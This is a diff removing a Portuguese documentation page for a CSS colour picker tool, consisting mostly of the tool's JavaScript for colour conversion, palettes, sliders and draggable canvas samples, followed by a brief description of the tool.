- ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
- if (mode !== 'HSV' &amp;&amp; mode !== 'HSL')
- return;
-
- this.picker_mode = mode;
- this.node.setAttribute('data-mode', this.picker_mode);
- this.setColor(this.color);
- };
-
- /*************************************************************************/
- // UNUSED
- /*************************************************************************/
-
- var setPickerMode = function setPickerMode(topic, mode) {
- if (pickers[topic])
- pickers[topic].setPickerMode(mode);
- };
-
- var setColor = function setColor(topic, color) {
- if (pickers[topic])
- pickers[topic].setColor(color);
- };
-
- var getColor = function getColor(topic) {
- if (pickers[topic])
- return new Color(pickers[topic].color);
- };
-
- var subscribe = function subscribe(topic, callback) {
- if (subscribers[topic] === undefined)
- subscribers[topic] = [];
-
- subscribers[topic].push(callback);
- };
-
- var unsubscribe = function unsubscribe(callback) {
- subscribers.indexOf(callback);
- subscribers.splice(index, 1);
- };
-
- var notify = function notify(topic, value) {
- if (subscribers[topic] === undefined || subscribers[topic].length === 0)
- return;
-
- var color = new Color(value);
- for (var i in subscribers[topic])
- subscribers[topic][i](color);
- };
-
- var init = function init() {
- var elem = document.querySelectorAll('.ui-color-picker');
- var size = elem.length;
- for (var i = 0; i &lt; size; i++)
- new ColorPicker(elem[i]);
- };
-
- return {
- init : init,
- Color : Color,
- RGBColor : RGBColor,
- RGBAColor : RGBAColor,
- HSVColor : HSVColor,
- HSVAColor : HSVAColor,
- HSLColor : HSLColor,
- HSLAColor : HSLAColor,
- setColor : setColor,
- getColor : getColor,
- subscribe : subscribe,
- unsubscribe : unsubscribe,
- setPickerMode : setPickerMode
- };
-
-})();
-
-
-
-/**
- * UI-SlidersManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
- var subscribers = {};
- var sliders = [];
-
- var InputComponent = function InputComponent(obj) {
- var input = document.createElement('input');
- input.setAttribute('type', 'text');
- input.style.width = 50 + obj.precision * 10 + 'px';
-
- input.addEventListener('click', function(e) {
- this.select();
- });
-
- input.addEventListener('change', function(e) {
- var value = parseFloat(e.target.value);
-
- if (isNaN(value) === true)
- setValue(obj.topic, obj.value);
- else
- setValue(obj.topic, value);
- });
-
- return input;
- };
-
- var SliderComponent = function SliderComponent(obj, sign) {
- var slider = document.createElement('div');
- var startX = null;
- var start_value = 0;
-
- slider.addEventListener("click", function(e) {
- document.removeEventListener("mousemove", sliderMotion);
- setValue(obj.topic, obj.value + obj.step * sign);
- });
-
- slider.addEventListener("mousedown", function(e) {
- startX = e.clientX;
- start_value = obj.value;
- document.body.style.cursor = "e-resize";
-
- document.addEventListener("mouseup", slideEnd);
- document.addEventListener("mousemove", sliderMotion);
- });
-
- var slideEnd = function slideEnd(e) {
- document.removeEventListener("mousemove", sliderMotion);
- document.body.style.cursor = "auto";
- slider.style.cursor = "pointer";
- };
-
- var sliderMotion = function sliderMotion(e) {
- slider.style.cursor = "e-resize";
- var delta = (e.clientX - startX) / obj.sensivity | 0;
- var value = delta * obj.step + start_value;
- setValue(obj.topic, value);
- };
-
- return slider;
- };
-
- var InputSlider = function(node) {
- var min = parseFloat(node.getAttribute('data-min'));
- var max = parseFloat(node.getAttribute('data-max'));
- var step = parseFloat(node.getAttribute('data-step'));
- var value = parseFloat(node.getAttribute('data-value'));
- var topic = node.getAttribute('data-topic');
- var unit = node.getAttribute('data-unit');
- var name = node.getAttribute('data-info');
- var sensivity = node.getAttribute('data-sensivity') | 0;
- var precision = node.getAttribute('data-precision') | 0;
-
- this.min = isNaN(min) ? 0 : min;
- this.max = isNaN(max) ? 100 : max;
- this.precision = precision &gt;= 0 ? precision : 0;
- this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
- this.topic = topic;
- this.node = node;
- this.unit = unit === null ? '' : unit;
- this.sensivity = sensivity &gt; 0 ? sensivity : 5;
- value = isNaN(value) ? this.min : value;
-
- var input = new InputComponent(this);
- var slider_left = new SliderComponent(this, -1);
- var slider_right = new SliderComponent(this, 1);
-
- slider_left.className = 'ui-input-slider-left';
- slider_right.className = 'ui-input-slider-right';
-
- if (name) {
- var info = document.createElement('span');
- info.className = 'ui-input-slider-info';
- info.textContent = name;
- node.appendChild(info);
- }
-
- node.appendChild(slider_left);
- node.appendChild(input);
- node.appendChild(slider_right);
-
- this.input = input;
- sliders[topic] = this;
- setValue(topic, value);
- };
-
- InputSlider.prototype.setInputValue = function setInputValue() {
- this.input.value = this.value.toFixed(this.precision) + this.unit;
- };
-
- var setValue = function setValue(topic, value, send_notify) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- value = parseFloat(value.toFixed(slider.precision));
-
- if (value &gt; slider.max) value = slider.max;
- if (value &lt; slider.min) value = slider.min;
-
- slider.value = value;
- slider.node.setAttribute('data-value', value);
-
- slider.setInputValue();
-
- if (send_notify === false)
- return;
-
- notify.call(slider);
- };
-
- var setMax = function setMax(topic, value) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- slider.max = value;
- setValue(topic, slider.value);
- };
-
- var setMin = function setMin(topic, value) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- slider.min = value;
- setValue(topic, slider.value);
- };
-
- var setUnit = function setUnit(topic, unit) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- slider.unit = unit;
- setValue(topic, slider.value);
- };
-
- var setStep = function setStep(topic, value) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- slider.step = parseFloat(value);
- setValue(topic, slider.value);
- };
-
- var setPrecision = function setPrecision(topic, value) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- value = value | 0;
- slider.precision = value;
-
- var step = parseFloat(slider.step.toFixed(value));
- if (step === 0)
- slider.step = 1 / Math.pow(10, value);
-
- setValue(topic, slider.value);
- };
-
- var setSensivity = function setSensivity(topic, value) {
- var slider = sliders[topic];
- if (slider === undefined)
- return;
-
- value = value | 0;
-
- slider.sensivity = value &gt; 0 ? value : 5;
- };
-
- var getNode = function getNode(topic) {
- return sliders[topic].node;
- };
-
- var getPrecision = function getPrecision(topic) {
- return sliders[topic].precision;
- };
-
- var getStep = function getStep(topic) {
- return sliders[topic].step;
- };
-
- var subscribe = function subscribe(topic, callback) {
- if (subscribers[topic] === undefined)
- subscribers[topic] = [];
- subscribers[topic].push(callback);
- };
-
- var unsubscribe = function unsubscribe(topic, callback) {
- subscribers[topic].indexOf(callback);
- subscribers[topic].splice(index, 1);
- };
-
- var notify = function notify() {
- if (subscribers[this.topic] === undefined)
- return;
- for (var i = 0; i &lt; subscribers[this.topic].length; i++)
- subscribers[this.topic][i](this.value);
- };
-
- var createSlider = function createSlider(topic, label) {
- var slider = document.createElement('div');
- slider.className = 'ui-input-slider';
- slider.setAttribute('data-topic', topic);
-
- if (label !== undefined)
- slider.setAttribute('data-info', label);
-
- new InputSlider(slider);
- return slider;
- };
-
- var init = function init() {
- var elem = document.querySelectorAll('.ui-input-slider');
- var size = elem.length;
- for (var i = 0; i &lt; size; i++)
- new InputSlider(elem[i]);
- };
-
- return {
- init : init,
- setMax : setMax,
- setMin : setMin,
- setUnit : setUnit,
- setStep : setStep,
- getNode : getNode,
- getStep : getStep,
- setValue : setValue,
- subscribe : subscribe,
- unsubscribe : unsubscribe,
- setPrecision : setPrecision,
- setSensivity : setSensivity,
- getPrecision : getPrecision,
- createSlider : createSlider,
- };
-
-})();
-
-
-'use strict';
-
-window.addEventListener("load", function() {
- ColorPickerTool.init();
-});
-
-var ColorPickerTool = (function ColorPickerTool() {
-
- /*========== Get DOM Element By ID ==========*/
-
- function getElemById(id) {
- return document.getElementById(id);
- }
-
- function allowDropEvent(e) {
- e.preventDefault();
- }
-
- /*========== Make an element resizable relative to it's parent ==========*/
-
- var UIComponent = (function UIComponent() {
-
- function makeResizable(elem, axis) {
- var valueX = 0;
- var valueY = 0;
- var action = 0;
-
- var resizeStart = function resizeStart(e) {
- e.stopPropagation();
- e.preventDefault();
- if (e.button !== 0)
- return;
-
- valueX = e.clientX - elem.clientWidth;
- valueY = e.clientY - elem.clientHeight;
-
- document.body.setAttribute('data-resize', axis);
- document.addEventListener('mousemove', mouseMove);
- document.addEventListener('mouseup', resizeEnd);
- };
-
- var mouseMove = function mouseMove(e) {
- if (action &gt;= 0)
- elem.style.width = e.clientX - valueX + 'px';
- if (action &lt;= 0)
- elem.style.height = e.clientY - valueY + 'px';
- };
-
- var resizeEnd = function resizeEnd(e) {
- if (e.button !== 0)
- return;
-
- document.body.removeAttribute('data-resize', axis);
- document.removeEventListener('mousemove', mouseMove);
- document.removeEventListener('mouseup', resizeEnd);
- };
-
- var handle = document.createElement('div');
- handle.className = 'resize-handle';
-
- if (axis === 'width') action = 1;
- else if (axis === 'height') action = -1;
- else axis = 'both';
-
- handle.className = 'resize-handle';
- handle.setAttribute('data-resize', axis);
- handle.addEventListener('mousedown', resizeStart);
- elem.appendChild(handle);
- };
-
- /*========== Make an element draggable relative to it's parent ==========*/
-
- var makeDraggable = function makeDraggable(elem, endFunction) {
-
- var offsetTop;
- var offsetLeft;
-
- elem.setAttribute('data-draggable', 'true');
-
- var dragStart = function dragStart(e) {
- e.preventDefault();
- e.stopPropagation();
-
- if (e.target.getAttribute('data-draggable') !== 'true' ||
- e.target !== elem || e.button !== 0)
- return;
-
- offsetLeft = e.clientX - elem.offsetLeft;
- offsetTop = e.clientY - elem.offsetTop;
-
- document.addEventListener('mousemove', mouseDrag);
- document.addEventListener('mouseup', dragEnd);
- };
-
- var dragEnd = function dragEnd(e) {
- if (e.button !== 0)
- return;
-
- document.removeEventListener('mousemove', mouseDrag);
- document.removeEventListener('mouseup', dragEnd);
- };
-
- var mouseDrag = function mouseDrag(e) {
- elem.style.left = e.clientX - offsetLeft + 'px';
- elem.style.top = e.clientY - offsetTop + 'px';
- };
-
- elem.addEventListener('mousedown', dragStart, false);
- };
-
- return {
- makeResizable : makeResizable,
- makeDraggable : makeDraggable
- };
-
- })();
-
- /*========== Color Class ==========*/
-
- var Color = UIColorPicker.Color;
- var HSLColor = UIColorPicker.HSLColor;
-
- /**
- * ColorPalette
- */
- var ColorPalette = (function ColorPalette() {
-
- var samples = [];
- var color_palette;
- var complementary;
-
- var hideNode = function(node) {
- node.setAttribute('data-hidden', 'true');
- };
-
- var ColorSample = function ColorSample(id) {
- var node = document.createElement('div');
- node.className = 'sample';
-
- this.uid = samples.length;
- this.node = node;
- this.color = new Color();
-
- node.setAttribute('sample-id', this.uid);
- node.setAttribute('draggable', 'true');
- node.addEventListener('dragstart', this.dragStart.bind(this));
- node.addEventListener('click', this.pickColor.bind(this));
-
- samples.push(this);
- };
-
- ColorSample.prototype.updateBgColor = function updateBgColor() {
- this.node.style.backgroundColor = this.color.getColor();
- };
-
- ColorSample.prototype.updateColor = function updateColor(color) {
- this.color.copy(color);
- this.updateBgColor();
- };
-
- ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
- this.color.copy(color);
- var hue = (steps * degree + this.color.hue) % 360;
- if (hue &lt; 0) hue += 360;
- this.color.setHue(hue);
- this.updateBgColor();
- };
-
- ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
- var saturation = color.saturation + value * steps;
- if (saturation &lt;= 0) {
- this.node.setAttribute('data-hidden', 'true');
- return;
- }
-
- this.node.removeAttribute('data-hidden');
- this.color.copy(color);
- this.color.setSaturation(saturation);
- this.updateBgColor();
- };
-
- ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
- var lightness = color.lightness + value * steps;
- if (lightness &lt;= 0) {
- this.node.setAttribute('data-hidden', 'true');
- return;
- }
- this.node.removeAttribute('data-hidden');
- this.color.copy(color);
- this.color.setLightness(lightness);
- this.updateBgColor();
- };
-
- ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
- var brightness = color.value + value * steps;
- if (brightness &lt;= 0) {
- this.node.setAttribute('data-hidden', 'true');
- return;
- }
- this.node.removeAttribute('data-hidden');
- this.color.copy(color);
- this.color.setValue(brightness);
- this.updateBgColor();
- };
-
- ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
- var alpha = parseFloat(color.a) + value * steps;
- if (alpha &lt;= 0) {
- this.node.setAttribute('data-hidden', 'true');
- return;
- }
- this.node.removeAttribute('data-hidden');
- this.color.copy(color);
- this.color.a = parseFloat(alpha.toFixed(2));
- this.updateBgColor();
- };
-
- ColorSample.prototype.pickColor = function pickColor() {
- UIColorPicker.setColor('picker', this.color);
- };
-
- ColorSample.prototype.dragStart = function dragStart(e) {
- e.dataTransfer.setData('sampleID', this.uid);
- e.dataTransfer.setData('location', 'palette-samples');
- };
-
- var Palette = function Palette(text, size) {
- this.samples = [];
- this.locked = false;
-
- var palette = document.createElement('div');
- var title = document.createElement('div');
- var controls = document.createElement('div');
- var container = document.createElement('div');
- var lock = document.createElement('div');
-
- container.className = 'container';
- title.className = 'title';
- palette.className = 'palette';
- controls.className = 'controls';
- lock.className = 'lock';
- title.textContent = text;
-
- controls.appendChild(lock);
- container.appendChild(title);
- container.appendChild(controls);
- container.appendChild(palette);
-
- lock.addEventListener('click', function () {
- this.locked = !this.locked;
- lock.setAttribute('locked-state', this.locked);
- }.bind(this));
-
- for(var i = 0; i &lt; size; i++) {
- var sample = new ColorSample();
- this.samples.push(sample);
- palette.appendChild(sample.node);
- }
-
- this.container = container;
- this.title = title;
- };
-
- var createHuePalette = function createHuePalette() {
- var palette = new Palette('Hue', 12);
-
- UIColorPicker.subscribe('picker', function(color) {
- if (palette.locked === true)
- return;
-
- for(var i = 0; i &lt; 12; i++) {
- palette.samples[i].updateHue(color, 30, i);
- }
- });
-
- color_palette.appendChild(palette.container);
- };
-
- var createSaturationPalette = function createSaturationPalette() {
- var palette = new Palette('Saturation', 11);
-
- UIColorPicker.subscribe('picker', function(color) {
- if (palette.locked === true)
- return;
-
- for(var i = 0; i &lt; 11; i++) {
- palette.samples[i].updateSaturation(color, -10, i);
- }
- });
-
- color_palette.appendChild(palette.container);
- };
-
- /* Brightness or Lightness - depends on the picker mode */
- var createVLPalette = function createSaturationPalette() {
- var palette = new Palette('Lightness', 11);
-
- UIColorPicker.subscribe('picker', function(color) {
- if (palette.locked === true)
- return;
-
- if(color.format === 'HSL') {
- palette.title.textContent = 'Lightness';
- for(var i = 0; i &lt; 11; i++)
- palette.samples[i].updateLightness(color, -10, i);
- }
- else {
- palette.title.textContent = 'Value';
- for(var i = 0; i &lt; 11; i++)
- palette.samples[i].updateBrightness(color, -10, i);
- }
- });
-
- color_palette.appendChild(palette.container);
- };
-
- var isBlankPalette = function isBlankPalette(container, value) {
- if (value === 0) {
- container.setAttribute('data-collapsed', 'true');
- return true;
- }
-
- container.removeAttribute('data-collapsed');
- return false;
- };
-
- var createAlphaPalette = function createAlphaPalette() {
- var palette = new Palette('Alpha', 10);
-
- UIColorPicker.subscribe('picker', function(color) {
- if (palette.locked === true)
- return;
-
- for(var i = 0; i &lt; 10; i++) {
- palette.samples[i].updateAlpha(color, -0.1, i);
- }
- });
-
- color_palette.appendChild(palette.container);
- };
-
- var getSampleColor = function getSampleColor(id) {
- if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
- return new Color(samples[id].color);
- };
-
- var init = function init() {
- color_palette = getElemById('color-palette');
-
- createHuePalette();
- createSaturationPalette();
- createVLPalette();
- createAlphaPalette();
-
- };
-
- return {
- init : init,
- getSampleColor : getSampleColor
- };
-
- })();
-
- /**
- * ColorInfo
- */
- var ColorInfo = (function ColorInfo() {
-
- var info_box;
- var select;
- var RGBA;
- var HEXA;
- var HSLA;
-
- var updateInfo = function updateInfo(color) {
- if (color.a | 0 === 1) {
- RGBA.info.textContent = 'RGB';
- HSLA.info.textContent = 'HSL';
- }
- else {
- RGBA.info.textContent = 'RGBA';
- HSLA.info.textContent = 'HSLA';
- }
-
- RGBA.value.value = color.getRGBA();
- HSLA.value.value = color.getHSLA();
- HEXA.value.value = color.getHexa();
- };
-
- var InfoProperty = function InfoProperty(info) {
-
- var node = document.createElement('div');
- var title = document.createElement('div');
- var value = document.createElement('input');
- var copy = document.createElement('div');
-
- node.className = 'property';
- title.className = 'type';
- value.className = 'value';
- copy.className = 'copy';
-
- title.textContent = info;
- value.setAttribute('type', 'text');
-
- copy.addEventListener('click', function() {
- value.select();
- });
-
- node.appendChild(title);
- node.appendChild(value);
- node.appendChild(copy);
-
- this.node = node;
- this.value = value;
- this.info = title;
-
- info_box.appendChild(node);
- };
-
- var init = function init() {
-
- info_box = getElemById('color-info');
-
- RGBA = new InfoProperty('RGBA');
- HSLA = new InfoProperty('HSLA');
- HEXA = new InfoProperty('HEXA');
-
- UIColorPicker.subscribe('picker', updateInfo);
-
- };
-
- return {
- init: init
- };
-
- })();
-
- /**
- * ColorPicker Samples
- */
- var ColorPickerSamples = (function ColorPickerSamples() {
-
- var samples = [];
- var nr_samples = 0;
- var active = null;
- var container = null;
- var samples_per_line = 10;
- var trash_can = null;
- var base_color = new HSLColor(0, 50, 100);
- var add_btn;
- var add_btn_pos;
-
- var ColorSample = function ColorSample() {
- var node = document.createElement('div');
- node.className = 'sample';
-
- this.uid = samples.length;
- this.index = nr_samples++;
- this.node = node;
- this.color = new Color(base_color);
-
- node.setAttribute('sample-id', this.uid);
- node.setAttribute('draggable', 'true');
-
- node.addEventListener('dragstart', this.dragStart.bind(this));
- node.addEventListener('dragover' , allowDropEvent);
- node.addEventListener('drop' , this.dragDrop.bind(this));
-
- this.updatePosition(this.index);
- this.updateBgColor();
- samples.push(this);
- };
-
- ColorSample.prototype.updateBgColor = function updateBgColor() {
- this.node.style.backgroundColor = this.color.getColor();
- };
-
- ColorSample.prototype.updatePosition = function updatePosition(index) {
- this.index = index;
- this.posY = 5 + ((index / samples_per_line) | 0) * 52;
- this.posX = 5 + ((index % samples_per_line) | 0) * 52;
- this.node.style.top = this.posY + 'px';
- this.node.style.left = this.posX + 'px';
- };
-
- ColorSample.prototype.updateColor = function updateColor(color) {
- this.color.copy(color);
- this.updateBgColor();
- };
-
- ColorSample.prototype.activate = function activate() {
- UIColorPicker.setColor('picker', this.color);
- this.node.setAttribute('data-active', 'true');
- };
-
- ColorSample.prototype.deactivate = function deactivate() {
- this.node.removeAttribute('data-active');
- };
-
- ColorSample.prototype.dragStart = function dragStart(e) {
- e.dataTransfer.setData('sampleID', this.uid);
- e.dataTransfer.setData('location', 'picker-samples');
- };
-
- ColorSample.prototype.dragDrop = function dragDrop(e) {
- e.stopPropagation();
- this.color = Tool.getSampleColorFrom(e);
- this.updateBgColor();
- };
-
- ColorSample.prototype.deleteSample = function deleteSample() {
- container.removeChild(this.node);
- samples[this.uid] = null;
- nr_samples--;
- };
-
- var updateUI = function updateUI() {
- updateContainerProp();
-
- var index = 0;
- var nr = samples.length;
- for (var i=0; i &lt; nr; i++)
- if (samples[i] !== null) {
- samples[i].updatePosition(index);
- index++;
- }
-
- AddSampleButton.updatePosition(index);
- };
-
- var deleteSample = function deleteSample(e) {
- trash_can.parentElement.setAttribute('drag-state', 'none');
-
- var location = e.dataTransfer.getData('location');
- if (location !== 'picker-samples')
- return;
-
- var sampleID = e.dataTransfer.getData('sampleID');
- samples[sampleID].deleteSample();
- console.log(samples);
-
- updateUI();
- };
-
- var createDropSample = function createDropSample() {
- var sample = document.createElement('div');
- sample.id = 'drop-effect-sample';
- sample.className = 'sample';
- container.appendChild(sample);
- };
-
- var setActivateSample = function setActivateSample(e) {
- if (e.target.className !== 'sample')
- return;
-
- unsetActiveSample(active);
- Tool.unsetVoidSample();
- CanvasSamples.unsetActiveSample();
- active = samples[e.target.getAttribute('sample-id')];
- active.activate();
- };
-
- var unsetActiveSample = function unsetActiveSample() {
- if (active)
- active.deactivate();
- active = null;
- };
-
- var getSampleColor = function getSampleColor(id) {
- if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
- return new Color(samples[id].color);
- };
-
- var updateContainerProp = function updateContainerProp() {
- samples_per_line = ((container.clientWidth - 5) / 52) | 0;
- var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
- container.style.height = height + 10 + 'px';
- };
-
- var AddSampleButton = (function AddSampleButton() {
- var node;
- var _index = 0;
- var _posX;
- var _posY;
-
- var updatePosition = function updatePosition(index) {
- _index = index;
- _posY = 5 + ((index / samples_per_line) | 0) * 52;
- _posX = 5 + ((index % samples_per_line) | 0) * 52;
-
- node.style.top = _posY + 'px';
- node.style.left = _posX + 'px';
- };
-
- var addButtonClick = function addButtonClick() {
- var sample = new ColorSample();
- container.appendChild(sample.node);
- updatePosition(_index + 1);
- updateUI();
- };
-
- var init = function init() {
- node = document.createElement('div');
- var icon = document.createElement('div');
-
- node.className = 'sample';
- icon.id = 'add-icon';
- node.appendChild(icon);
- node.addEventListener('click', addButtonClick);
-
- updatePosition(0);
- container.appendChild(node);
- };
-
- return {
- init : init,
- updatePosition : updatePosition
- };
- })();
-
- var init = function init() {
- container = getElemById('picker-samples');
- trash_can = getElemById('trash-can');
-
- AddSampleButton.init();
-
- for (var i=0; i&lt;16; i++) {
- var sample = new ColorSample();
- container.appendChild(sample.node);
- }
-
- AddSampleButton.updatePosition(samples.length);
- updateUI();
-
- active = samples[0];
- active.activate();
-
- container.addEventListener('click', setActivateSample);
-
- trash_can.addEventListener('dragover', allowDropEvent);
- trash_can.addEventListener('dragenter', function() {
- this.parentElement.setAttribute('drag-state', 'enter');
- });
- trash_can.addEventListener('dragleave', function(e) {
- this.parentElement.setAttribute('drag-state', 'none');
- });
- trash_can.addEventListener('drop', deleteSample);
-
- UIColorPicker.subscribe('picker', function(color) {
- if (active)
- active.updateColor(color);
- });
-
- };
-
- return {
- init : init,
- getSampleColor : getSampleColor,
- unsetActiveSample : unsetActiveSample
- };
-
- })();
-
- /**
- * Canvas Samples
- */
- var CanvasSamples = (function CanvasSamples() {
-
- var active = null;
- var canvas = null;
- var samples = [];
- var zindex = null;
- var tutorial = true;
-
- var CanvasSample = function CanvasSample(color, posX, posY) {
-
- var node = document.createElement('div');
- var pick = document.createElement('div');
- var delete_btn = document.createElement('div');
- node.className = 'sample';
- pick.className = 'pick';
- delete_btn.className = 'delete';
-
- this.uid = samples.length;
- this.node = node;
- this.color = color;
- this.updateBgColor();
- this.zIndex = 1;
-
- node.style.top = posY - 50 + 'px';
- node.style.left = posX - 50 + 'px';
- node.setAttribute('sample-id', this.uid);
-
- node.appendChild(pick);
- node.appendChild(delete_btn);
-
- var activate = function activate() {
- setActiveSample(this);
- }.bind(this);
-
- node.addEventListener('dblclick', activate);
- pick.addEventListener('click', activate);
- delete_btn.addEventListener('click', this.deleteSample.bind(this));
-
- UIComponent.makeDraggable(node);
- UIComponent.makeResizable(node);
-
- samples.push(this);
- canvas.appendChild(node);
- return this;
- };
-
- CanvasSample.prototype.updateBgColor = function updateBgColor() {
- this.node.style.backgroundColor = this.color.getColor();
- };
-
- CanvasSample.prototype.updateColor = function updateColor(color) {
- this.color.copy(color);
- this.updateBgColor();
- };
-
- CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
- this.zIndex = value;
- this.node.style.zIndex = value;
- };
-
- CanvasSample.prototype.activate = function activate() {
- this.node.setAttribute('data-active', 'true');
- zindex.setAttribute('data-active', 'true');
-
- UIColorPicker.setColor('picker', this.color);
- InputSliderManager.setValue('z-index', this.zIndex);
- };
-
- CanvasSample.prototype.deactivate = function deactivate() {
- this.node.removeAttribute('data-active');
- zindex.removeAttribute('data-active');
- };
-
- CanvasSample.prototype.deleteSample = function deleteSample() {
- if (active === this)
- unsetActiveSample();
- canvas.removeChild(this.node);
- samples[this.uid] = null;
- };
-
- CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
- this.node.style.top = posY - this.startY + 'px';
- this.node.style.left = posX - this.startX + 'px';
- };
-
- var canvasDropEvent = function canvasDropEvent(e) {
- var color = Tool.getSampleColorFrom(e);
-
- if (color) {
- var offsetX = e.pageX - canvas.offsetLeft;
- var offsetY = e.pageY - canvas.offsetTop;
- var sample = new CanvasSample(color, offsetX, offsetY);
- if (tutorial) {
- tutorial = false;
- canvas.removeAttribute('data-tutorial');
- var info = new CanvasSample(new Color(), 100, 100);
- info.node.setAttribute('data-tutorial', 'dblclick');
- }
- }
-
- };
-
- var setActiveSample = function setActiveSample(sample) {
- ColorPickerSamples.unsetActiveSample();
- Tool.unsetVoidSample();
- unsetActiveSample();
- active = sample;
- active.activate();
- };
-
- var unsetActiveSample = function unsetActiveSample() {
- if (active)
- active.deactivate();
- active = null;
- };
-
- var createToggleBgButton = function createToggleBgButton() {
- var button = document.createElement('div');
- var state = false;
- button.className = 'toggle-bg';
- canvas.appendChild(button);
-
- button.addEventListener('click', function() {
- console.log(state);
- state = !state;
- canvas.setAttribute('data-bg', state);
- });
- };
-
- var init = function init() {
- canvas = getElemById('canvas');
- zindex = getElemById('zindex');
-
- canvas.addEventListener('dragover', allowDropEvent);
- canvas.addEventListener('drop', canvasDropEvent);
-
- createToggleBgButton();
-
- UIColorPicker.subscribe('picker', function(color) {
- if (active) active.updateColor(color);
- });
-
- InputSliderManager.subscribe('z-index', function (value) {
- if (active) active.updateZIndex(value);
- });
-
- UIComponent.makeResizable(canvas, 'height');
- };
-
- return {
- init : init,
- unsetActiveSample : unsetActiveSample
- };
-
- })();
-
- var StateButton = function StateButton(node, state) {
- this.state = false;
- this.callback = null;
-
- node.addEventListener('click', function() {
- this.state = !this.state;
- if (typeof this.callback === "function")
- this.callback(this.state);
- }.bind(this));
- };
-
- StateButton.prototype.set = function set() {
- this.state = true;
- if (typeof this.callback === "function")
- this.callback(this.state);
- };
-
- StateButton.prototype.unset = function unset() {
- this.state = false;
- if (typeof this.callback === "function")
- this.callback(this.state);
- };
-
- StateButton.prototype.subscribe = function subscribe(func) {
- this.callback = func;
- };
-
-
- /**
- * Tool
- */
- var Tool = (function Tool() {
-
- var samples = [];
- var controls = null;
- var void_sw;
-
- var createPickerModeSwitch = function createPickerModeSwitch() {
- var parent = getElemById('controls');
- var icon = document.createElement('div');
- var button = document.createElement('div');
- var hsv = document.createElement('div');
- var hsl = document.createElement('div');
- var active = null;
-
- icon.className = 'icon picker-icon';
- button.className = 'switch';
- button.appendChild(hsv);
- button.appendChild(hsl);
-
- hsv.textContent = 'HSV';
- hsl.textContent = 'HSL';
-
- active = hsl;
- active.setAttribute('data-active', 'true');
-
- function switchPickingModeTo(elem) {
- active.removeAttribute('data-active');
- active = elem;
- active.setAttribute('data-active', 'true');
- UIColorPicker.setPickerMode('picker', active.textContent);
- };
-
- var picker_sw = new StateButton(icon);
- picker_sw.subscribe(function() {
- if (active === hsv)
- switchPickingModeTo(hsl);
- else
- switchPickingModeTo(hsv);
- });
-
- hsv.addEventListener('click', function() {
- switchPickingModeTo(hsv);
- });
- hsl.addEventListener('click', function() {
- switchPickingModeTo(hsl);
- });
-
- parent.appendChild(icon);
- parent.appendChild(button);
- };
-
- var setPickerDragAndDrop = function setPickerDragAndDrop() {
- var preview = document.querySelector('#picker .preview-color');
- var picking_area = document.querySelector('#picker .picking-area');
-
- preview.setAttribute('draggable', 'true');
- preview.addEventListener('drop', drop);
- preview.addEventListener('dragstart', dragStart);
- preview.addEventListener('dragover', allowDropEvent);
-
- picking_area.addEventListener('drop', drop);
- picking_area.addEventListener('dragover', allowDropEvent);
-
- function drop(e) {
- var color = getSampleColorFrom(e);
- UIColorPicker.setColor('picker', color);
- };
-
- function dragStart(e) {
- e.dataTransfer.setData('sampleID', 'picker');
- e.dataTransfer.setData('location', 'picker');
- };
- };
-
- var getSampleColorFrom = function getSampleColorFrom(e) {
- var sampleID = e.dataTransfer.getData('sampleID');
- var location = e.dataTransfer.getData('location');
-
- if (location === 'picker')
- return UIColorPicker.getColor(sampleID);
- if (location === 'picker-samples')
- return ColorPickerSamples.getSampleColor(sampleID);
- if (location === 'palette-samples')
- return ColorPalette.getSampleColor(sampleID);
- };
-
- var setVoidSwitch = function setVoidSwitch() {
- var void_sample = getElemById('void-sample');
- void_sw = new StateButton(void_sample);
- void_sw.subscribe( function (state) {
- void_sample.setAttribute('data-active', state);
- if (state === true) {
- ColorPickerSamples.unsetActiveSample();
- CanvasSamples.unsetActiveSample();
- }
- });
- };
-
- var unsetVoidSample = function unsetVoidSample() {
- void_sw.unset();
- };
-
- var init = function init() {
- controls = getElemById('controls');
-
- var color = new Color();
- color.setHSL(0, 51, 51);
- UIColorPicker.setColor('picker', color);
-
- setPickerDragAndDrop();
- createPickerModeSwitch();
- setVoidSwitch();
- };
-
- return {
- init : init,
- unsetVoidSample : unsetVoidSample,
- getSampleColorFrom : getSampleColorFrom
- };
-
- })();
-
- var init = function init() {
- UIColorPicker.init();
- InputSliderManager.init();
- ColorInfo.init();
- ColorPalette.init();
- ColorPickerSamples.init();
- CanvasSamples.init();
- Tool.init();
- };
-
- return {
- init : init
- };
-
-})();
-</pre>
-</div>
-
-<p> </p>
-
-<p>{{CSSRef}}</p>
-
-<p>Esta ferramenta facilita a criação, ajuste, e experimentação de cores personalizadas na internet. Também facilita conversão entre vários <a href="/en-US/docs/Web/CSS/color_value">formatos de cor</a> disponíveis em <a href="/pt-PT/docs/Web/CSS">CSS</a>, incluindo: HEXA colors, RGB (Red/Green/Blue) e HSL (Hue/Saturation/Lightness). Também é possível controlar o canal alfa nos formatos RGB (rgba) and HSL (hsla).</p>
-
-<p>Ao ajustar os parâmetros que definem a cor, a mesma é mostrada nos três formatos padrão de CSS na internet. Além disso, com base na cor atualmente selecionada, é gerada uma paleta para HSL e HSV, assim como alfa. A caixa de seleção de cores no estilo "conta-gotas" pode mudar entre HSL e HSV. Também pode testar as cores e ver como se intersetam arrastando-as para a caixa por baixo da ferramenta e deslocando-as para o mesmo ponto. Ajuste o valor do índice-Z relativo para as mover para a frente e para trás umas das outras.</p>
-
